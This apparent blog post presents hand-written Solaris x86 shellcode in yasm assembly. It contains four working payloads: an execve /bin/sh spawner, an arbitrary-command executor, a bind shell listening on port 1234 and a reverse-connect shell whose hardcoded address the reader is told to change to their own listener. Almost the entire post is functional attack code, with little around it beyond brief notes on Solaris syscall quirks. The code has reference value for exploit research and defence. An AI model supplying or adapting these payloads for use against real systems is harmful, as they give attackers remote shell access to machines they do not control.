Shellcode: Solaris x86

Introduction

I wasn’t going to discuss these but they might be useful as a reference for anyone attempting to write shellcodes for Solaris on x86.

Existing x86 codes I found online are outdated and don’t work anymore so these were written from scratch and as of now do work with latest release. If you just want sources, see here.

If you’re writing codes like this from scratch, truss and gdb are both useful to hunt down potential problems. I’ve used yasm to write these sources because AT&T syntax hurts my eyes and brain. It will hurt yours too, take my word for it.

There’s a yasm package available for Solaris through pkg but surprisingly none for nasm.

execve

Most Linux heads will be familiar with execve function. For whatever reason, the copy of Solaris I have just wouldn’t work unless I provided additional null parameter.

int execve(const char *filename, char *const argv[],
           char *const envp[]);
;
    push    0x3b
    pop     eax
    cdq
    push    edx         ; '\0'
    push    '//sh'    	; 
    push    '/bin'    	; 
    mov     ebx, esp    ; ebx = "/bin//sh", 0
    push    edx         ; NULL
    push    ebx         ; "/bin//sh", 0
    mov     ecx, esp    ; ecx = argv
    push    edx         ; 0
    push    edx         ; 0
    push    ecx         ; argv 
    push    ebx         ; "/bin//sh", 0
    push    edx         ; 
    int     0x91

Execute command

Same as first code except we supply “-c” and command in argv[] array.

;
    push    0x3b
    pop     eax         ; eax = sys_execve
    cdq                 ; edx = 0
    push    edx         ; '\0'
    push    '//sh'    	; "hs//"
    push    '/bin'    	; "nib/"
    mov     ebx, esp    ; ebx = "/bin//sh", 0
    push    edx         ; '\0'
    push    word '-c'
    mov     edi, esp
    push    edx         ; NULL
    jmp     l_cmd
r_cmd:
    push    edi         ; "-c", 0    
    push    ebx         ; "/bin//sh", 0
    mov     ecx, esp    ; ecx = argv
    push    edx         ; 0
    push    edx         ; 0
    push    ecx         ; argv 
    push    ebx         ; "/bin//sh", 0
    push    edx         ; 
    int     0x91
l_cmd: 
    call    r_cmd    
    ; put your command here followed by null terminator

Bind shell to port

One thing to mention about binding shell to a port is that dup2 system call for whatever reason isn’t available so we emulate it using close and fcntl

This just listens on port 1234 for incoming connection and spawns /bin/sh

;
    mov    eax, ~0x00000000 & 0xFFFFFFFF
    mov    edx, ~0xD2040002 & 0xFFFFFFFF
    not    eax
    not    edx
    push   eax          ; sa.sin_addr = ADDR_ANY
    push   edx          ; sa.sin_port = 1234, sa.sin_family=AF_INET
    mov    edi, esp     ; edi = &sa
    
    ; step 1
    ; so_socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
    xor    ebx, ebx
    mul    ebx
    mov    al, 2
    push   eax          ; sov_sockstream
    push   edx    
    push   edx          ; IPPROTO_IP
    push   eax          ; SOCK_STREAM
    push   eax          ; AF_INET
    push   eax
    mov    al, 230
    int    0x91

    xchg   eax, ebx
    
    ; step 2
    ; bind (s, &sa, sizeof(sa));
    push   16
    push   edi          ; &sa
    push   ebx          ; s
    push   edx
    mov    al, 232      ; sys_bind         
    int    0x91
    
    ; step 3, listen for incoming connections
    ; listen (s, 0);
    push   edx
    push   ebx          ; s
    push   edx
    mov    al, 233      ; eax=sys_listen
    int    0x91
    
    ; step 4, accept connections
    ; accept (s, 0, 0);
    push   edx          ; 0
    push   ebx          ; s
    push   2            ; 2
    mov    al, 234      ; eax = sys_accept
    int    0x91
    
    ; step 5, assign socket to stdin, stdout and stderr
    ; dup2(r, FILENO_STDIN)
    ; dup2(r, FILENO_STDOUT)
    ; dup2(r, FILENO_STDERR)
    xchg   eax, ebx
    xchg   eax, edx
    cdq
    pop    ecx
    ; dup2 syscall #9 no longer exists
    ; so we emulate it with close() and fcntl()
    ; fildes2 in ecx
    ; fildes in ebx    
    ; edx = 0
dup2:
    ; close(fildes);
    push   ecx
    push   edx
    mov    al, 6
    int    0x91
    ; fid = fcntl(fildes, F_DUPFD, fildes2);
    push   ecx          ; fileno
    push   9            ; F_DUPFD
    push   ebx          ; s
    push   edx          ; return address
    mov    al, 62       ; eax = sys_fcntl
    int    0x91
    add    esp, 6*4
    
    dec    ecx
    jns    dup2
    
    ; step 6
    ; execve ("/bin//sh", {"/bin//sh", NULL}, 0, 0);
    push    edx         ; '\0'
    push    '//sh'
    push    '/bin'
    mov     ebx, esp    ; ebx = "/bin//sh", 0
    push    edx         ; NULL
    push    ebx         ; "/bin//sh", 0
    mov     ecx, esp
    push    edx         ; 0
    push    edx         ; 0
    push    ecx         ; argv
    push    ebx         ; "/bin//sh", 0
    push    edx         
    mov     al, 59      ; eax = sys_execve
    int     0x91

Reverse connect

Setup netcat or ncat locally. Obviously need to change hardcoded ip address and port of 127.0.0.1:1234

;
    mov    eax, ~0x0100007f & 0xFFFFFFFF
    mov    edx, ~0xD2040002 & 0xFFFFFFFF
    not    eax
    not    edx
    push   eax          ; sa.sin_addr = inet_addr("127.0.0.1")
    push   edx          ; sa.sin_port = 1234, sa.sin_family=AF_INET
    mov    edi, esp     ; edi = &sa
    
    ; step 1, create a socket
    ; socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
    xor    ebx, ebx
    mul    ebx
    mov    al, 2
    push   eax          ; sov_sockstream
    push   edx    
    push   edx          ; IPPROTO_IP
    push   eax          ; SOCK_STREAM
    push   eax          ; AF_INET
    push   eax
    mov    al, 230
    int    0x91

    xchg   eax, ebx
    
    ; step 2, assign socket to stdin, stdout and stderr
    ; dup2 (s, FILENO_STDIN)
    ; dup2 (s, FILENO_STDOUT)
    ; dup2 (s, FILENO_STDERR)
    pop    ecx          ; esi = 2 
    ; dup2 syscall #9 no longer seems to exist
    ; so we emulate it with close() and fcntl()
    ; fildes2 in ecx
    ; fildes in ebx    
    ; edx = 0
dup2:
    ; close(fildes);
    push   ecx
    push   edx
    mov    al, 6
    int    0x91
    ; fid = fcntl(fildes, F_DUPFD, fildes2);
    push   ecx          ; fileno
    push   9            ; F_DUPFD
    push   ebx          ; s
    push   edx          ; return address
    mov    al, 62       ; eax = sys_fcntl
    int    0x91
    add    esp, 6*4
    
    dec    ecx
    jns    dup2
    
    ; step 3, connect to remote host
    ; connect (s, {AF_INET, 1234, 127.0.0.1}, 16);
    push   16
    push   edi        ; &sa
    push   ebx        ; s  
    push   eax        ; 0
    mov    al, 235
    int    0x91
    
    ; step 4, execute shell
    ; execvex ("/bin//sh", {"/bin//sh", NULL}, 0, 0);
    push   eax         ; '\0'
    push   '//sh'
    push   '/bin'
    mov    ebx, esp    ; ebx = "/bin//sh", 0
    push   eax         ; NULL
    push   ebx         ; "/bin//sh", 0
    mov    ecx, esp
    push   eax         ; 0  
    push   eax         ; 0  
    push   ecx         ; argv
    push   ebx         ; "/bin//sh", 0
    push   eax         
    mov    al, 59      ; eax = sys_execve
    int    0x91

Sources

See here

Advertisements
This entry was posted in assembly, security, shellcode and tagged , , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s